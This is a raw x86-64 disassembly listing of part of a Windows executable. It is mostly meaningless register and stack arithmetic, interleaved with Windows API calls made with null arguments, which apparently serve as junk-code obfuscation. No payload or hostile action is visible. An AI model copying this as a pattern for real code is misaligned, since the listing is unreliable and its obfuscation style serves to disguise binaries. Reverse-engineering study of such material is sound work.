mov word [rsp + 0x1350], ax
movzx eax, byte [0x140120038]
and eax, 0x5b
mov byte [0x140120038], al
movabs rax, 0x741cb27635bea1
mov rcx, qword [rsp + 0x7988]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x10b0]
xor eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shr eax, cl
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x79a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7968], rax
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x29f]
sub eax, ecx
mov byte [rsp + 0x29e], al
cmp dword [rsp + 0x3c10], 0x10195
jne 0x14000af43
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov dword [rsp + 0x3c24], eax
cmp dword [rsp + 0x3c24], 0xb6
je 0x14000b1c6
cmp dword [rsp + 0x3c24], 0x39e
je 0x14000b1ad
jmp 0x14000b28d
mov rdx, qword [rsp + 0x7968]
movzx ecx, byte [0x140120038]
call fcn.1401034a0
jmp 0x14000b28d
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x37ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1348]
and eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
add rax, rcx
mov qword [0x140120390], rax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x134c], ax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
lea rcx, [rsp + 0x14d70]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x3c28], eax
call fcn.140103580
mov rax, qword [rsp + 0x7968]
mov rcx, qword [0x140120390]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6ae8], rax
mov dword [rsp + 0x3c2c], 0x4a99
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x3c30], eax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov dword [rsp + 0x3c34], eax
mov dword [rsp + 0x3c38], 0xe83c
lea rax, [rsp + 0x37ac]
mov qword [rsp + 0x79b0], rax
movzx eax, byte [0x140120038]
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7360]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
movzx ecx, word [rsp + 0x1350]
cmp eax, ecx
jne 0x14000b3c7
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x10b0]
sub eax, ecx
mov word [rsp + 0x1348], ax
movzx eax, byte [rsp + 0x2a0]
sar eax, 2
mov byte [0x140120038], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
call fcn.140103400
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x1348]
shl eax, cl
mov word [rsp + 0x10b0], ax
movzx eax, byte [rsp + 0x29e]
mov byte [rsp + 0x2a1], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7968]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3c04]
mov dword [rsp + 0x3c3c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x79b8], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x37ac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, word [rsp + 0x9d4]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, byte [rsp + 0x2a0]
mov byte [rsp + 0x3c40], al
cmp byte [rsp + 0x3c40], 0x49
je 0x14000b538
cmp byte [rsp + 0x3c40], 0xc1
je 0x14000b48a
jmp 0x14000b5d6
movzx eax, byte [rsp + 0x2a0]
and eax, 0x48
mov byte [0x140120038], al
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1348]
sub eax, ecx
mov word [rsp + 0x1350], ax
lea rcx, [rsp + 0x14e10]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [rsp + 0x3c44], eax
mov eax, dword [rsp + 0x3c04]
mov ecx, dword [rsp + 0x3c34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rdx, qword [rsp + 0x7968]
movzx ecx, byte [rsp + 0x2a0]
call fcn.1401034a0
jmp 0x14000b5d6
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x79c8], rax
mov dword [rsp + 0x3c48], 0x10b3
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movzx eax, byte [rsp + 0x29f]
mov byte [0x14012728a], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov byte [rsp + 0x2a2], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1314]
sar eax, cl
mov word [rsp + 0x1200], ax
mov dword [rsp + 0x3c4c], 0x8278
cmp dword [rsp + 0x3c38], 0xf070
ja 0x14000b956
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x29f]
shl eax, cl
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x75f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3be8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c14], eax
mov eax, dword [rsp + 0x3c00]
mov ecx, dword [rsp + 0x3c3c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov word [rsp + 0x1348], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
mov rax, qword [rsp + 0x7978]
mov ecx, dword [rsp + 0x3c00]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov eax, dword [0x140120398]
mov ecx, dword [rsp + 0x3c20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x7998]
mov qword [rsp + 0x79d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79d8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c3c]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shr eax, cl
mov dword [rsp + 0x3c34], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
xor eax, ecx
mov byte [rsp + 0x2a0], al
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7360]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [0x14012728a]
sub eax, ecx
mov byte [rsp + 0x29f], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
movzx eax, word [rsp + 0x1350]
movzx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c3c], eax
mov eax, dword [rsp + 0x3c38]
add eax, 0xaf
mov dword [rsp + 0x3c38], eax
mov rax, qword [rsp + 0x75f0]
mov rcx, qword [rsp + 0x7968]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [0x140120038]
sub eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x140120390], rax
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x9d4]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
xor eax, ecx
mov byte [rsp + 0x2a2], al
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1350]
or eax, ecx
mov word [rsp + 0x10b0], ax
jmp 0x14000b5fb
mov rax, qword [rsp + 0x7988]
movzx ecx, al
mov rax, qword [rsp + 0x68e8]
shl rax, cl
mov qword [rsp + 0x7360], rax
mov dword [rsp + 0x3c50], 0x48e2
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
cmp dword [rsp + 0x3c08], 0x919e
jb 0x14000bd5d
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c3c]
shr eax, cl
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov eax, dword [rsp + 0x37ac]
mov ecx, dword [rsp + 0x3be8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
movsx eax, word [rsp + 0x134c]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x2a1]
sub eax, ecx
mov byte [rsp + 0x29f], al
movzx eax, byte [0x140120038]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
and eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3c34]
movzx ecx, al
mov eax, dword [rsp + 0x3c3c]
shr eax, cl
mov dword [rsp + 0x3c00], eax
mov eax, dword [0x140120398]
mov ecx, dword [rsp + 0x37ac]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1350]
shl eax, cl
mov word [rsp + 0x1348], ax
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x29e]
or eax, ecx
mov byte [0x14012728b], al
lea rcx, [rsp + 0x79e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x7988]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
movzx eax, byte [0x140120038]
movzx ecx, byte [rsp + 0x2a0]
and eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x79c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
mov eax, dword [rsp + 0x3c14]
mov ecx, dword [rsp + 0x3be8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [0x14012728a]
add eax, ecx
mov byte [rsp + 0x29e], al
movsx eax, byte [rsp + 0x2a1]
movsx ecx, byte [rsp + 0x29e]
sub eax, ecx
mov byte [0x14012728a], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
and eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1350]
shl eax, cl
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
or eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c08]
sub eax, 0x5e
mov dword [rsp + 0x3c08], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x7360]
movzx ecx, al
mov rax, qword [rsp + 0x7988]
sar rax, cl
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c00], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [0x140120038]
and eax, ecx
mov byte [rsp + 0x2a0], al
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov word [rsp + 0x1314], ax
jmp 0x14000b987
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14012039c], eax
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x135c], ax
cmp dword [rsp + 0x3c48], 0x1f5c
jae 0x14000c0bb
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x134c], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be8], eax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c3c], eax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x29e]
add eax, ecx
mov byte [rsp + 0x2a1], al
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x79c0], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a2]
shl eax, cl
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x135c]
sar eax, cl
mov word [rsp + 0x1350], ax
movsx eax, word [rsp + 0x9d4]
movsx ecx, word [rsp + 0x1200]
xor eax, ecx
mov word [rsp + 0x1314], ax
mov eax, dword [rsp + 0x3c48]
add eax, 0x8b
mov dword [rsp + 0x3c48], eax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [0x140120038]
and eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
mov eax, dword [rsp + 0x3c34]
mov ecx, dword [rsp + 0x3c00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessWorkingSetSize]
mov rax, qword [rsp + 0x79c0]
mov rcx, qword [rsp + 0x6ae8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x37ac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c14], eax
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x9d4]
sub eax, ecx
mov word [rsp + 0x1314], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7360]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
mov rax, qword [rsp + 0x7988]
movzx ecx, al
mov rax, qword [rsp + 0x7360]
shl rax, cl
mov qword [rsp + 0x68e8], rax
movzx eax, byte [rsp + 0x2a0]
movzx ecx, byte [rsp + 0x2a2]
sar eax, cl
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [rsp + 0x2a1]
xor eax, ecx
mov byte [rsp + 0x29e], al
mov rax, qword [rsp + 0x79b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x37ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c20], eax
movzx ecx, word [rsp + 0x1354]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1360], ax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x6ae8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x75f0], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
add ecx, eax
mov eax, ecx
mov dword [0x14012039c], eax
jmp 0x14000bd89
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x134c]
sub ecx, edx
cmp eax, ecx
jle 0x14000c1ee
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x10b0]
and eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1200], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov rcx, qword [rsp + 0x79d0]
mov byte [rcx], al
movzx ecx, byte [rsp + 0x2a2]
call fcn.140103550
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
add eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x134c]
sub eax, ecx
mov word [rsp + 0x1200], ax
mov eax, dword [0x14012039c]
mov rcx, qword [rsp + 0x7978]
mov qword [rsp + 0x79e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x79e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3c04], eax
lea rcx, [rsp + 0x14930]
call qword [sym.imp.COMDLG32.dll_PrintDlgW]
mov dword [rsp + 0x3c44], eax
mov rax, qword [rsp + 0x7968]
movzx ecx, al
mov rax, qword [rsp + 0x75f0]
shr rax, cl
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov dword [rsp + 0x3c58], 0xaa66
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c20], eax
mov rax, qword [rsp + 0x79a0]
mov ecx, dword [rsp + 0x3c34]
mov eax, dword [rax]
or eax, ecx
mov dword [0x1401203a0], eax
cmp dword [rsp + 0x3c0c], 0x11a2c
je 0x14000c3ac
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x68e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
movzx eax, byte [rsp + 0x2a2]
movzx ecx, byte [0x140120038]
add eax, ecx
mov byte [rsp + 0x2a0], al
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x135c]
sub eax, ecx
mov word [rsp + 0x10b0], ax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov word [rsp + 0x1314], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
movsx eax, byte [0x14012728b]
movsx ecx, byte [rsp + 0x29f]
sub eax, ecx
mov byte [rsp + 0x29e], al
mov eax, dword [rsp + 0x3c0c]
add eax, 0x4f
mov dword [rsp + 0x3c0c], eax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x7968]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [0x140120398]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c00]
add ecx, eax
mov eax, ecx
mov dword [0x1401203a0], eax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a2], al
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x135c]
or eax, ecx
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
sar eax, cl
mov rcx, qword [rsp + 0x7980]
mov word [rcx], ax
jmp 0x14000c22c
mov rax, qword [rsp + 0x68e8]
mov rcx, qword [rsp + 0x7988]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov eax, dword [rsp + 0x3c58]
sub eax, 0x43
mov dword [rsp + 0x3c58], eax
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c00]
shl eax, cl
mov rcx, qword [rsp + 0x79a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1200]
and eax, ecx
mov rcx, qword [rsp + 0x7990]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x3c14]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7998]
mov rcx, qword [rsp + 0x75f0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6ae8], rax
mov rax, qword [rsp + 0x79a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c04]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7978]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
sub eax, ecx
mov byte [rsp + 0x2a0], al
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x7360]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68e8], rax
movsx eax, byte [rsp + 0x29e]
movsx ecx, byte [rsp + 0x29f]
and eax, ecx
mov byte [rsp + 0x2a1], al
movsx eax, word [rsp + 0x1314]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov word [rsp + 0x9d4], ax
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x7978]
mov eax, dword [rax]
mov ecx, dword [0x1401203a0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6ae8]
shr rax, cl
mov qword [rsp + 0x75f0], rax
mov eax, dword [rsp + 0x3c20]
movzx ecx, al
mov eax, dword [rsp + 0x37ac]
shl eax, cl
mov dword [0x140120398], eax
movzx ecx, word [rsp + 0x1358]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1354], ax
movzx eax, word [rsp + 0x1348]
